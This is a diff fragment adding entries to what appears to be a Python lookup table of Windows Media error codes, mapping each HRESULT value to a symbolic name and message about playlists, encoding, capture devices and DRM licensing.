+        0xC00D14BB: ("NS_E_PLAYLIST_TOO_MANY_NESTED_PLAYLISTS", "The number of nested playlists exceeded the limit the server can handle."),
+        0xC00D14BC: ("NS_E_PLAYLIST_SHUTDOWN", "Cannot execute the requested operation because the playlist has been shut down by the Media Server."),
+        0xC00D14BD: ("NS_E_PLAYLIST_END_RECEDING", "The playlist has ended while receding."),
+        0xC00D1518: ("NS_E_DATAPATH_NO_SINK", "The data path does not have an associated data writer plug-in."),
+        0xC00D151A: ("NS_E_INVALID_PUSH_TEMPLATE", "The specified push template is invalid."),
+        0xC00D151B: ("NS_E_INVALID_PUSH_PUBLISHING_POINT", "The specified push publishing point is invalid."),
+        0xC00D151C: ("NS_E_CRITICAL_ERROR", "The requested operation cannot be performed because the server or publishing point is in a critical error state."),
+        0xC00D151D: ("NS_E_NO_NEW_CONNECTIONS", "The content cannot be played because the server is not currently accepting connections. Try connecting at a later time."),
+        0xC00D151E: ("NS_E_WSX_INVALID_VERSION", "The version of this playlist is not supported by the server."),
+        0xC00D151F: ("NS_E_HEADER_MISMATCH", "The command does not apply to the current media header user by a server component."),
+        0xC00D1520: ("NS_E_PUSH_DUPLICATE_PUBLISHING_POINT_NAME", "The specified publishing point name is already in use."),
+        0xC00D157C: ("NS_E_NO_SCRIPT_ENGINE", "There is no script engine available for this file."),
+        0xC00D157D: ("NS_E_PLUGIN_ERROR_REPORTED", "The plug-in has reported an error. See the Troubleshooting tab or the NT Application Event Log for details."),
+        0xC00D157E: ("NS_E_SOURCE_PLUGIN_NOT_FOUND", "No enabled data source plug-in is available to access the requested content."),
+        0xC00D157F: ("NS_E_PLAYLIST_PLUGIN_NOT_FOUND", "No enabled playlist parser plug-in is available to access the requested content."),
+        0xC00D1580: ("NS_E_DATA_SOURCE_ENUMERATION_NOT_SUPPORTED", "The data source plug-in does not support enumeration."),
+        0xC00D1581: ("NS_E_MEDIA_PARSER_INVALID_FORMAT", "The server cannot stream the selected file because it is either damaged or corrupt. Select a different file."),
+        0xC00D1582: ("NS_E_SCRIPT_DEBUGGER_NOT_INSTALLED", "The plug-in cannot be enabled because a compatible script debugger is not installed on this system. Install a script debugger, or disable the script debugger option on the general tab of the plug-in's properties page and try again."),
+        0xC00D1583: ("NS_E_FEATURE_REQUIRES_ENTERPRISE_SERVER", "The plug-in cannot be loaded because it requires Windows Server 2003, Enterprise Edition."),
+        0xC00D1584: ("NS_E_WIZARD_RUNNING", "Another wizard is currently running. Please close the other wizard or wait until it finishes before attempting to run this wizard again."),
+        0xC00D1585: ("NS_E_INVALID_LOG_URL", "Invalid log URL. Multicast logging URL must look like \"http://servername/isapibackend.dll\"."),
+        0xC00D1586: ("NS_E_INVALID_MTU_RANGE", "Invalid MTU specified. The valid range for maximum packet size is between 36 and 65507 bytes."),
+        0xC00D1587: ("NS_E_INVALID_PLAY_STATISTICS", "Invalid play statistics for logging."),
+        0xC00D1588: ("NS_E_LOG_NEED_TO_BE_SKIPPED", "The log needs to be skipped."),
+        0xC00D1589: ("NS_E_HTTP_TEXT_DATACONTAINER_SIZE_LIMIT_EXCEEDED", "The size of the data exceeded the limit the WMS HTTP Download Data Source plugin can handle."),
+        0xC00D158A: ("NS_E_PORT_IN_USE", "One usage of each socket address (protocol/network address/port) is permitted. Verify that other services or applications are not attempting to use the same port and then try to enable the plug-in again."),
+        0xC00D158B: ("NS_E_PORT_IN_USE_HTTP", "One usage of each socket address (protocol/network address/port) is permitted. Verify that other services (such as IIS) or applications are not attempting to use the same port and then try to enable the plug-in again."),
+        0xC00D158C: ("NS_E_HTTP_TEXT_DATACONTAINER_INVALID_SERVER_RESPONSE", "The WMS HTTP Download Data Source plugin was unable to receive the remote server's response."),
+        0xC00D158D: ("NS_E_ARCHIVE_REACH_QUOTA", "The archive plug-in has reached its quota."),
+        0xC00D158E: ("NS_E_ARCHIVE_ABORT_DUE_TO_BCAST", "The archive plug-in aborted because the source was from broadcast."),
+        0xC00D158F: ("NS_E_ARCHIVE_GAP_DETECTED", "The archive plug-in detected an interrupt in the source."),
+        0xC00D1590: ("NS_E_AUTHORIZATION_FILE_NOT_FOUND", "The system cannot find the file specified."),
+        0xC00D1B58: ("NS_E_BAD_MARKIN", "The mark-in time should be greater than 0 and less than the mark-out time."),
+        0xC00D1B59: ("NS_E_BAD_MARKOUT", "The mark-out time should be greater than the mark-in time and less than the file duration."),
+        0xC00D1B5A: ("NS_E_NOMATCHING_MEDIASOURCE", "No matching media type is found in the source %1."),
+        0xC00D1B5B: ("NS_E_UNSUPPORTED_SOURCETYPE", "The specified source type is not supported."),
+        0xC00D1B5C: ("NS_E_TOO_MANY_AUDIO", "It is not possible to specify more than one audio input."),
+        0xC00D1B5D: ("NS_E_TOO_MANY_VIDEO", "It is not possible to specify more than two video inputs."),
+        0xC00D1B5E: ("NS_E_NOMATCHING_ELEMENT", "No matching element is found in the list."),
+        0xC00D1B5F: ("NS_E_MISMATCHED_MEDIACONTENT", "The profile's media types must match the media types defined for the session."),
+        0xC00D1B60: ("NS_E_CANNOT_DELETE_ACTIVE_SOURCEGROUP", "It is not possible to remove an active source while encoding."),
+        0xC00D1B61: ("NS_E_AUDIODEVICE_BUSY", "It is not possible to open the specified audio capture device because it is currently in use."),
+        0xC00D1B62: ("NS_E_AUDIODEVICE_UNEXPECTED", "It is not possible to open the specified audio capture device because an unexpected error has occurred."),
+        0xC00D1B63: ("NS_E_AUDIODEVICE_BADFORMAT", "The audio capture device does not support the specified audio format."),
+        0xC00D1B64: ("NS_E_VIDEODEVICE_BUSY", "It is not possible to open the specified video capture device because it is currently in use."),
+        0xC00D1B65: ("NS_E_VIDEODEVICE_UNEXPECTED", "It is not possible to open the specified video capture device because an unexpected error has occurred."),
+        0xC00D1B66: ("NS_E_INVALIDCALL_WHILE_ENCODER_RUNNING", "This operation is not allowed while encoding."),
+        0xC00D1B67: ("NS_E_NO_PROFILE_IN_SOURCEGROUP", "No profile is set for the source."),
+        0xC00D1B68: ("NS_E_VIDEODRIVER_UNSTABLE", "The video capture driver returned an unrecoverable error. It is now in an unstable state."),
+        0xC00D1B69: ("NS_E_VIDCAPSTARTFAILED", "It was not possible to start the video device."),
+        0xC00D1B6A: ("NS_E_VIDSOURCECOMPRESSION", "The video source does not support the requested output format or color depth."),
+        0xC00D1B6B: ("NS_E_VIDSOURCESIZE", "The video source does not support the requested capture size."),
+        0xC00D1B6C: ("NS_E_ICMQUERYFORMAT", "It was not possible to obtain output information from the video compressor."),
+        0xC00D1B6D: ("NS_E_VIDCAPCREATEWINDOW", "It was not possible to create a video capture window."),
+        0xC00D1B6E: ("NS_E_VIDCAPDRVINUSE", "There is already a stream active on this video device."),
+        0xC00D1B6F: ("NS_E_NO_MEDIAFORMAT_IN_SOURCE", "No media format is set in source."),
+        0xC00D1B70: ("NS_E_NO_VALID_OUTPUT_STREAM", "Cannot find a valid output stream from the source."),
+        0xC00D1B71: ("NS_E_NO_VALID_SOURCE_PLUGIN", "It was not possible to find a valid source plug-in for the specified source."),
+        0xC00D1B72: ("NS_E_NO_ACTIVE_SOURCEGROUP", "No source is currently active."),
+        0xC00D1B73: ("NS_E_NO_SCRIPT_STREAM", "No script stream is set in the current source."),
+        0xC00D1B74: ("NS_E_INVALIDCALL_WHILE_ARCHIVAL_RUNNING", "This operation is not allowed while archiving."),
+        0xC00D1B75: ("NS_E_INVALIDPACKETSIZE", "The setting for the maximum packet size is not valid."),
+        0xC00D1B76: ("NS_E_PLUGIN_CLSID_INVALID", "The plug-in CLSID specified is not valid."),
+        0xC00D1B77: ("NS_E_UNSUPPORTED_ARCHIVETYPE", "This archive type is not supported."),
+        0xC00D1B78: ("NS_E_UNSUPPORTED_ARCHIVEOPERATION", "This archive operation is not supported."),
+        0xC00D1B79: ("NS_E_ARCHIVE_FILENAME_NOTSET", "The local archive file name was not set."),
+        0xC00D1B7A: ("NS_E_SOURCEGROUP_NOTPREPARED", "The source is not yet prepared."),
+        0xC00D1B7B: ("NS_E_PROFILE_MISMATCH", "Profiles on the sources do not match."),
+        0xC00D1B7C: ("NS_E_INCORRECTCLIPSETTINGS", "The specified crop values are not valid."),
+        0xC00D1B7D: ("NS_E_NOSTATSAVAILABLE", "No statistics are available at this time."),
+        0xC00D1B7E: ("NS_E_NOTARCHIVING", "The encoder is not archiving."),
+        0xC00D1B7F: ("NS_E_INVALIDCALL_WHILE_ENCODER_STOPPED", "This operation is only allowed during encoding."),
+        0xC00D1B80: ("NS_E_NOSOURCEGROUPS", "This SourceGroupCollection doesn't contain any SourceGroups."),
+        0xC00D1B81: ("NS_E_INVALIDINPUTFPS", "This source does not have a frame rate of 30 fps. Therefore, it is not possible to apply the inverse telecine filter to the source."),
+        0xC00D1B82: ("NS_E_NO_DATAVIEW_SUPPORT", "It is not possible to display your source or output video in the Video panel."),
+        0xC00D1B83: ("NS_E_CODEC_UNAVAILABLE", "One or more codecs required to open this content could not be found."),
+        0xC00D1B84: ("NS_E_ARCHIVE_SAME_AS_INPUT", "The archive file has the same name as an input file. Change one of the names before continuing."),
+        0xC00D1B85: ("NS_E_SOURCE_NOTSPECIFIED", "The source has not been set up completely."),
+        0xC00D1B86: ("NS_E_NO_REALTIME_TIMECOMPRESSION", "It is not possible to apply time compression to a broadcast session."),
+        0xC00D1B87: ("NS_E_UNSUPPORTED_ENCODER_DEVICE", "It is not possible to open this device."),
+        0xC00D1B88: ("NS_E_UNEXPECTED_DISPLAY_SETTINGS", "It is not possible to start encoding because the display size or color has changed since the current session was defined. Restore the previous settings or create a new session."),
+        0xC00D1B89: ("NS_E_NO_AUDIODATA", "No audio data has been received for several seconds. Check the audio source and restart the encoder."),
+        0xC00D1B8A: ("NS_E_INPUTSOURCE_PROBLEM", "One or all of the specified sources are not working properly. Check that the sources are configured correctly."),
+        0xC00D1B8B: ("NS_E_WME_VERSION_MISMATCH", "The supplied configuration file is not supported by this version of the encoder."),
+        0xC00D1B8C: ("NS_E_NO_REALTIME_PREPROCESS", "It is not possible to use image preprocessing with live encoding."),
+        0xC00D1B8D: ("NS_E_NO_REPEAT_PREPROCESS", "It is not possible to use two-pass encoding when the source is set to loop."),
+        0xC00D1B8E: ("NS_E_CANNOT_PAUSE_LIVEBROADCAST", "It is not possible to pause encoding during a broadcast."),
+        0xC00D1B8F: ("NS_E_DRM_PROFILE_NOT_SET", "A DRM profile has not been set for the current session."),
+        0xC00D1B90: ("NS_E_DUPLICATE_DRMPROFILE", "The profile ID is already used by a DRM profile. Specify a different profile ID."),
+        0xC00D1B91: ("NS_E_INVALID_DEVICE", "The setting of the selected device does not support control for playing back tapes."),
+        0xC00D1B92: ("NS_E_SPEECHEDL_ON_NON_MIXEDMODE", "You must specify a mixed voice and audio mode in order to use an optimization definition file."),
+        0xC00D1B93: ("NS_E_DRM_PASSWORD_TOO_LONG", "The specified password is too long. Type a password with fewer than 8 characters."),
+        0xC00D1B94: ("NS_E_DEVCONTROL_FAILED_SEEK", "It is not possible to seek to the specified mark-in point."),
+        0xC00D1B95: ("NS_E_INTERLACE_REQUIRE_SAMESIZE", "When you choose to maintain the interlacing in your video, the output video size must match the input video size."),
+        0xC00D1B96: ("NS_E_TOO_MANY_DEVICECONTROL", "Only one device control plug-in can control a device."),
+        0xC00D1B97: ("NS_E_NO_MULTIPASS_FOR_LIVEDEVICE", "You must also enable storing content to hard disk temporarily in order to use two-pass encoding with the input device."),
+        0xC00D1B98: ("NS_E_MISSING_AUDIENCE", "An audience is missing from the output stream configuration."),
+        0xC00D1B99: ("NS_E_AUDIENCE_CONTENTTYPE_MISMATCH", "All audiences in the output tree must have the same content type."),
+        0xC00D1B9A: ("NS_E_MISSING_SOURCE_INDEX", "A source index is missing from the output stream configuration."),
+        0xC00D1B9B: ("NS_E_NUM_LANGUAGE_MISMATCH", "The same source index in different audiences should have the same number of languages."),
+        0xC00D1B9C: ("NS_E_LANGUAGE_MISMATCH", "The same source index in different audiences should have the same languages."),
+        0xC00D1B9D: ("NS_E_VBRMODE_MISMATCH", "The same source index in different audiences should use the same VBR encoding mode."),
+        0xC00D1B9E: ("NS_E_INVALID_INPUT_AUDIENCE_INDEX", "The bit rate index specified is not valid."),
+        0xC00D1B9F: ("NS_E_INVALID_INPUT_LANGUAGE", "The specified language is not valid."),
+        0xC00D1BA0: ("NS_E_INVALID_INPUT_STREAM", "The specified source type is not valid."),
+        0xC00D1BA1: ("NS_E_EXPECT_MONO_WAV_INPUT", "The source must be a mono channel .wav file."),
+        0xC00D1BA2: ("NS_E_INPUT_WAVFORMAT_MISMATCH", "All the source .wav files must have the same format."),
+        0xC00D1BA3: ("NS_E_RECORDQ_DISK_FULL", "The hard disk being used for temporary storage of content has reached the minimum allowed disk space. Create more space on the hard disk and restart encoding."),
+        0xC00D1BA4: ("NS_E_NO_PAL_INVERSE_TELECINE", "It is not possible to apply the inverse telecine feature to PAL content."),
+        0xC00D1BA5: ("NS_E_ACTIVE_SG_DEVICE_DISCONNECTED", "A capture device in the current active source is no longer available."),
+        0xC00D1BA6: ("NS_E_ACTIVE_SG_DEVICE_CONTROL_DISCONNECTED", "A device used in the current active source for device control is no longer available."),
+        0xC00D1BA7: ("NS_E_NO_FRAMES_SUBMITTED_TO_ANALYZER", "No frames have been submitted to the analyzer for analysis."),
+        0xC00D1BA8: ("NS_E_INPUT_DOESNOT_SUPPORT_SMPTE", "The source video does not support time codes."),
+        0xC00D1BA9: ("NS_E_NO_SMPTE_WITH_MULTIPLE_SOURCEGROUPS", "It is not possible to generate a time code when there are multiple sources in a session."),
+        0xC00D1BAA: ("NS_E_BAD_CONTENTEDL", "The voice codec optimization definition file cannot be found or is corrupted."),
+        0xC00D1BAB: ("NS_E_INTERLACEMODE_MISMATCH", "The same source index in different audiences should have the same interlace mode."),
+        0xC00D1BAC: ("NS_E_NONSQUAREPIXELMODE_MISMATCH", "The same source index in different audiences should have the same nonsquare pixel mode."),
+        0xC00D1BAD: ("NS_E_SMPTEMODE_MISMATCH", "The same source index in different audiences should have the same time code mode."),
+        0xC00D1BAE: ("NS_E_END_OF_TAPE", "Either the end of the tape has been reached or there is no tape. Check the device and tape."),
+        0xC00D1BAF: ("NS_E_NO_MEDIA_IN_AUDIENCE", "No audio or video input has been specified."),
+        0xC00D1BB0: ("NS_E_NO_AUDIENCES", "The profile must contain a bit rate."),
+        0xC00D1BB1: ("NS_E_NO_AUDIO_COMPAT", "You must specify at least one audio stream to be compatible with Windows Media Player 7.1."),
+        0xC00D1BB2: ("NS_E_INVALID_VBR_COMPAT", "Using a VBR encoding mode is not compatible with Windows Media Player 7.1."),
+        0xC00D1BB3: ("NS_E_NO_PROFILE_NAME", "You must specify a profile name."),
+        0xC00D1BB4: ("NS_E_INVALID_VBR_WITH_UNCOMP", "It is not possible to use a VBR encoding mode with uncompressed audio or video."),
+        0xC00D1BB5: ("NS_E_MULTIPLE_VBR_AUDIENCES", "It is not possible to use MBR encoding with VBR encoding."),
+        0xC00D1BB6: ("NS_E_UNCOMP_COMP_COMBINATION", "It is not possible to mix uncompressed and compressed content in a session."),
+        0xC00D1BB7: ("NS_E_MULTIPLE_AUDIO_CODECS", "All audiences must use the same audio codec."),
+        0xC00D1BB8: ("NS_E_MULTIPLE_AUDIO_FORMATS", "All audiences should use the same audio format to be compatible with Windows Media Player 7.1."),
+        0xC00D1BB9: ("NS_E_AUDIO_BITRATE_STEPDOWN", "The audio bit rate for an audience with a higher total bit rate must be greater than one with a lower total bit rate."),
+        0xC00D1BBA: ("NS_E_INVALID_AUDIO_PEAKRATE", "The audio peak bit rate setting is not valid."),
+        0xC00D1BBB: ("NS_E_INVALID_AUDIO_PEAKRATE_2", "The audio peak bit rate setting must be greater than the audio bit rate setting."),
+        0xC00D1BBC: ("NS_E_INVALID_AUDIO_BUFFERMAX", "The setting for the maximum buffer size for audio is not valid."),
+        0xC00D1BBD: ("NS_E_MULTIPLE_VIDEO_CODECS", "All audiences must use the same video codec."),
+        0xC00D1BBE: ("NS_E_MULTIPLE_VIDEO_SIZES", "All audiences should use the same video size to be compatible with Windows Media Player 7.1."),
+        0xC00D1BBF: ("NS_E_INVALID_VIDEO_BITRATE", "The video bit rate setting is not valid."),
+        0xC00D1BC0: ("NS_E_VIDEO_BITRATE_STEPDOWN", "The video bit rate for an audience with a higher total bit rate must be greater than one with a lower total bit rate."),
+        0xC00D1BC1: ("NS_E_INVALID_VIDEO_PEAKRATE", "The video peak bit rate setting is not valid."),
+        0xC00D1BC2: ("NS_E_INVALID_VIDEO_PEAKRATE_2", "The video peak bit rate setting must be greater than the video bit rate setting."),
+        0xC00D1BC3: ("NS_E_INVALID_VIDEO_WIDTH", "The video width setting is not valid."),
+        0xC00D1BC4: ("NS_E_INVALID_VIDEO_HEIGHT", "The video height setting is not valid."),
+        0xC00D1BC5: ("NS_E_INVALID_VIDEO_FPS", "The video frame rate setting is not valid."),
+        0xC00D1BC6: ("NS_E_INVALID_VIDEO_KEYFRAME", "The video key frame setting is not valid."),
+        0xC00D1BC7: ("NS_E_INVALID_VIDEO_IQUALITY", "The video image quality setting is not valid."),
+        0xC00D1BC8: ("NS_E_INVALID_VIDEO_CQUALITY", "The video codec quality setting is not valid."),
+        0xC00D1BC9: ("NS_E_INVALID_VIDEO_BUFFER", "The video buffer setting is not valid."),
+        0xC00D1BCA: ("NS_E_INVALID_VIDEO_BUFFERMAX", "The setting for the maximum buffer size for video is not valid."),
+        0xC00D1BCB: ("NS_E_INVALID_VIDEO_BUFFERMAX_2", "The value of the video maximum buffer size setting must be greater than the video buffer size setting."),
+        0xC00D1BCC: ("NS_E_INVALID_VIDEO_WIDTH_ALIGN", "The alignment of the video width is not valid."),
+        0xC00D1BCD: ("NS_E_INVALID_VIDEO_HEIGHT_ALIGN", "The alignment of the video height is not valid."),
+        0xC00D1BCE: ("NS_E_MULTIPLE_SCRIPT_BITRATES", "All bit rates must have the same script bit rate."),
+        0xC00D1BCF: ("NS_E_INVALID_SCRIPT_BITRATE", "The script bit rate specified is not valid."),
+        0xC00D1BD0: ("NS_E_MULTIPLE_FILE_BITRATES", "All bit rates must have the same file transfer bit rate."),
+        0xC00D1BD1: ("NS_E_INVALID_FILE_BITRATE", "The file transfer bit rate is not valid."),
+        0xC00D1BD2: ("NS_E_SAME_AS_INPUT_COMBINATION", "All audiences in a profile should either be same as input or have video width and height specified."),
+        0xC00D1BD3: ("NS_E_SOURCE_CANNOT_LOOP", "This source type does not support looping."),
+        0xC00D1BD4: ("NS_E_INVALID_FOLDDOWN_COEFFICIENTS", "The fold-down value needs to be between -144 and 0."),
+        0xC00D1BD5: ("NS_E_DRMPROFILE_NOTFOUND", "The specified DRM profile does not exist in the system."),
+        0xC00D1BD6: ("NS_E_INVALID_TIMECODE", "The specified time code is not valid."),
+        0xC00D1BD7: ("NS_E_NO_AUDIO_TIMECOMPRESSION", "It is not possible to apply time compression to a video-only session."),
+        0xC00D1BD8: ("NS_E_NO_TWOPASS_TIMECOMPRESSION", "It is not possible to apply time compression to a session that is using two-pass encoding."),
+        0xC00D1BD9: ("NS_E_TIMECODE_REQUIRES_VIDEOSTREAM", "It is not possible to generate a time code for an audio-only session."),
+        0xC00D1BDA: ("NS_E_NO_MBR_WITH_TIMECODE", "It is not possible to generate a time code when you are encoding content at multiple bit rates."),
+        0xC00D1BDB: ("NS_E_INVALID_INTERLACEMODE", "The video codec selected does not support maintaining interlacing in video."),
+        0xC00D1BDC: ("NS_E_INVALID_INTERLACE_COMPAT", "Maintaining interlacing in video is not compatible with Windows Media Player 7.1."),
+        0xC00D1BDD: ("NS_E_INVALID_NONSQUAREPIXEL_COMPAT", "Allowing nonsquare pixel output is not compatible with Windows Media Player 7.1."),
+        0xC00D1BDE: ("NS_E_INVALID_SOURCE_WITH_DEVICE_CONTROL", "Only capture devices can be used with device control."),
+        0xC00D1BDF: ("NS_E_CANNOT_GENERATE_BROADCAST_INFO_FOR_QUALITYVBR", "It is not possible to generate the stream format file if you are using quality-based VBR encoding for the audio or video stream. Instead use the Windows Media file generated after encoding to create the announcement file."),
+        0xC00D1BE0: ("NS_E_EXCEED_MAX_DRM_PROFILE_LIMIT", "It is not possible to create a DRM profile because the maximum number of profiles has been reached. You must delete some DRM profiles before creating new ones."),
+        0xC00D1BE1: ("NS_E_DEVICECONTROL_UNSTABLE", "The device is in an unstable state. Check that the device is functioning properly and a tape is in place."),
+        0xC00D1BE2: ("NS_E_INVALID_PIXEL_ASPECT_RATIO", "The pixel aspect ratio value must be between 1 and 255."),
+        0xC00D1BE3: ("NS_E_AUDIENCE__LANGUAGE_CONTENTTYPE_MISMATCH", "All streams with different languages in the same audience must have same properties."),
+        0xC00D1BE4: ("NS_E_INVALID_PROFILE_CONTENTTYPE", "The profile must contain at least one audio or video stream."),
+        0xC00D1BE5: ("NS_E_TRANSFORM_PLUGIN_NOT_FOUND", "The transform plug-in could not be found."),
+        0xC00D1BE6: ("NS_E_TRANSFORM_PLUGIN_INVALID", "The transform plug-in is not valid. It may be damaged or you may not have the required permissions to access the plug-in."),
+        0xC00D1BE7: ("NS_E_EDL_REQUIRED_FOR_DEVICE_MULTIPASS", "To use two-pass encoding, you must enable device control and setup an edit decision list (EDL) that has at least one entry."),
+        0xC00D1BE8: ("NS_E_INVALID_VIDEO_WIDTH_FOR_INTERLACED_ENCODING", "When you choose to maintain the interlacing in your video, the output video size must be a multiple of 4."),
+        0xC00D1BE9: ("NS_E_MARKIN_UNSUPPORTED", "Markin/Markout is unsupported with this source type."),
+        0xC00D2711: ("NS_E_DRM_INVALID_APPLICATION", "A problem has occurred in the Digital Rights Management component. Contact product support for this application."),
+        0xC00D2712: ("NS_E_DRM_LICENSE_STORE_ERROR", "License storage is not working. Contact Microsoft product support."),
+        0xC00D2713: ("NS_E_DRM_SECURE_STORE_ERROR", "Secure storage is not working. Contact Microsoft product support."),
+        0xC00D2714: ("NS_E_DRM_LICENSE_STORE_SAVE_ERROR", "License acquisition did not work. Acquire a new license or contact the content provider for further assistance."),
+        0xC00D2715: ("NS_E_DRM_SECURE_STORE_UNLOCK_ERROR", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2716: ("NS_E_DRM_INVALID_CONTENT", "The media file is corrupted. Contact the content provider to get a new file."),
+        0xC00D2717: ("NS_E_DRM_UNABLE_TO_OPEN_LICENSE", "The license is corrupted. Acquire a new license."),
+        0xC00D2718: ("NS_E_DRM_INVALID_LICENSE", "The license is corrupted or invalid. Acquire a new license"),
+        0xC00D2719: ("NS_E_DRM_INVALID_MACHINE", "Licenses cannot be copied from one computer to another. Use License Management to transfer licenses, or get a new license for the media file."),
+        0xC00D271B: ("NS_E_DRM_ENUM_LICENSE_FAILED", "License storage is not working. Contact Microsoft product support."),
+        0xC00D271C: ("NS_E_DRM_INVALID_LICENSE_REQUEST", "The media file is corrupted. Contact the content provider to get a new file."),
+        0xC00D271D: ("NS_E_DRM_UNABLE_TO_INITIALIZE", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D271E: ("NS_E_DRM_UNABLE_TO_ACQUIRE_LICENSE", "The license could not be acquired. Try again later."),
+        0xC00D271F: ("NS_E_DRM_INVALID_LICENSE_ACQUIRED", "License acquisition did not work. Acquire a new license or contact the content provider for further assistance."),
+        0xC00D2720: ("NS_E_DRM_NO_RIGHTS", "The requested operation cannot be performed on this file."),
+        0xC00D2721: ("NS_E_DRM_KEY_ERROR", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
+        0xC00D2722: ("NS_E_DRM_ENCRYPT_ERROR", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2723: ("NS_E_DRM_DECRYPT_ERROR", "The media file is corrupted. Contact the content provider to get a new file."),
+        0xC00D2725: ("NS_E_DRM_LICENSE_INVALID_XML", "The license is corrupted. Acquire a new license."),
+        0xC00D2728: ("NS_E_DRM_NEEDS_INDIVIDUALIZATION", "A security upgrade is required to perform the operation on this media file."),
+        0xC00D2729: ("NS_E_DRM_ALREADY_INDIVIDUALIZED", "You already have the latest security components. No upgrade is necessary at this time."),
+        0xC00D272A: ("NS_E_DRM_ACTION_NOT_QUERIED", "The application cannot perform this action. Contact product support for this application."),
+        0xC00D272B: ("NS_E_DRM_ACQUIRING_LICENSE", "You cannot begin a new license acquisition process until the current one has been completed."),
+        0xC00D272C: ("NS_E_DRM_INDIVIDUALIZING", "You cannot begin a new security upgrade until the current one has been completed."),
+        0xC00D272D: ("NS_E_BACKUP_RESTORE_FAILURE", "Failure in Backup-Restore."),
+        0xC00D272E: ("NS_E_BACKUP_RESTORE_BAD_REQUEST_ID", "Bad Request ID in Backup-Restore."),
+        0xC00D272F: ("NS_E_DRM_PARAMETERS_MISMATCHED", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2730: ("NS_E_DRM_UNABLE_TO_CREATE_LICENSE_OBJECT", "A license cannot be created for this media file. Reinstall the application."),
+        0xC00D2731: ("NS_E_DRM_UNABLE_TO_CREATE_INDI_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2732: ("NS_E_DRM_UNABLE_TO_CREATE_ENCRYPT_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2733: ("NS_E_DRM_UNABLE_TO_CREATE_DECRYPT_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2734: ("NS_E_DRM_UNABLE_TO_CREATE_PROPERTIES_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2735: ("NS_E_DRM_UNABLE_TO_CREATE_BACKUP_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2736: ("NS_E_DRM_INDIVIDUALIZE_ERROR", "The security upgrade failed. Try again later."),
+        0xC00D2737: ("NS_E_DRM_LICENSE_OPEN_ERROR", "License storage is not working. Contact Microsoft product support."),
+        0xC00D2738: ("NS_E_DRM_LICENSE_CLOSE_ERROR", "License storage is not working. Contact Microsoft product support."),
+        0xC00D2739: ("NS_E_DRM_GET_LICENSE_ERROR", "License storage is not working. Contact Microsoft product support."),
+        0xC00D273A: ("NS_E_DRM_QUERY_ERROR", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D273B: ("NS_E_DRM_REPORT_ERROR", "A problem has occurred in the Digital Rights Management component. Contact product support for this application."),
+        0xC00D273C: ("NS_E_DRM_GET_LICENSESTRING_ERROR", "License storage is not working. Contact Microsoft product support."),
+        0xC00D273D: ("NS_E_DRM_GET_CONTENTSTRING_ERROR", "The media file is corrupted. Contact the content provider to get a new file."),
+        0xC00D273E: ("NS_E_DRM_MONITOR_ERROR", "A problem has occurred in the Digital Rights Management component. Try again later."),
+        0xC00D273F: ("NS_E_DRM_UNABLE_TO_SET_PARAMETER", "The application has made an invalid call to the Digital Rights Management component. Contact product support for this application."),
+        0xC00D2740: ("NS_E_DRM_INVALID_APPDATA", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2741: ("NS_E_DRM_INVALID_APPDATA_VERSION", "A problem has occurred in the Digital Rights Management component. Contact product support for this application."),
+        0xC00D2742: ("NS_E_DRM_BACKUP_EXISTS", "Licenses are already backed up in this location."),
+        0xC00D2743: ("NS_E_DRM_BACKUP_CORRUPT", "One or more backed-up licenses are missing or corrupt."),
+        0xC00D2744: ("NS_E_DRM_BACKUPRESTORE_BUSY", "You cannot begin a new backup process until the current process has been completed."),
+        0xC00D2745: ("NS_E_BACKUP_RESTORE_BAD_DATA", "Bad Data sent to Backup-Restore."),
+        0xC00D2748: ("NS_E_DRM_LICENSE_UNUSABLE", "The license is invalid. Contact the content provider for further assistance."),
+        0xC00D2749: ("NS_E_DRM_INVALID_PROPERTY", "A required property was not set by the application. Contact product support for this application."),
+        0xC00D274A: ("NS_E_DRM_SECURE_STORE_NOT_FOUND", "A problem has occurred in the Digital Rights Management component of this application. Try to acquire a license again."),
+        0xC00D274B: ("NS_E_DRM_CACHED_CONTENT_ERROR", "A license cannot be found for this media file. Use License Management to transfer a license for this file from the original computer, or acquire a new license."),
+        0xC00D274C: ("NS_E_DRM_INDIVIDUALIZATION_INCOMPLETE", "A problem occurred during the security upgrade. Try again later."),
+        0xC00D274D: ("NS_E_DRM_DRIVER_AUTH_FAILURE", "Certified driver components are required to play this media file. Contact Windows Update to see whether updated drivers are available for your hardware."),
+        0xC00D274E: ("NS_E_DRM_NEED_UPGRADE_MSSAP", "One or more of the Secure Audio Path components were not found or an entry point in those components was not found."),
+        0xC00D274F: ("NS_E_DRM_REOPEN_CONTENT", "Status message: Reopen the file."),
+        0xC00D2750: ("NS_E_DRM_DRIVER_DIGIOUT_FAILURE", "Certain driver functionality is required to play this media file. Contact Windows Update to see whether updated drivers are available for your hardware."),
+        0xC00D2751: ("NS_E_DRM_INVALID_SECURESTORE_PASSWORD", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2752: ("NS_E_DRM_APPCERT_REVOKED", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2753: ("NS_E_DRM_RESTORE_FRAUD", "You cannot restore your license(s)."),
+        0xC00D2754: ("NS_E_DRM_HARDWARE_INCONSISTENT", "The licenses for your media files are corrupted. Contact Microsoft product support."),
+        0xC00D2755: ("NS_E_DRM_SDMI_TRIGGER", "To transfer this media file, you must upgrade the application."),
+        0xC00D2756: ("NS_E_DRM_SDMI_NOMORECOPIES", "You cannot make any more copies of this media file."),
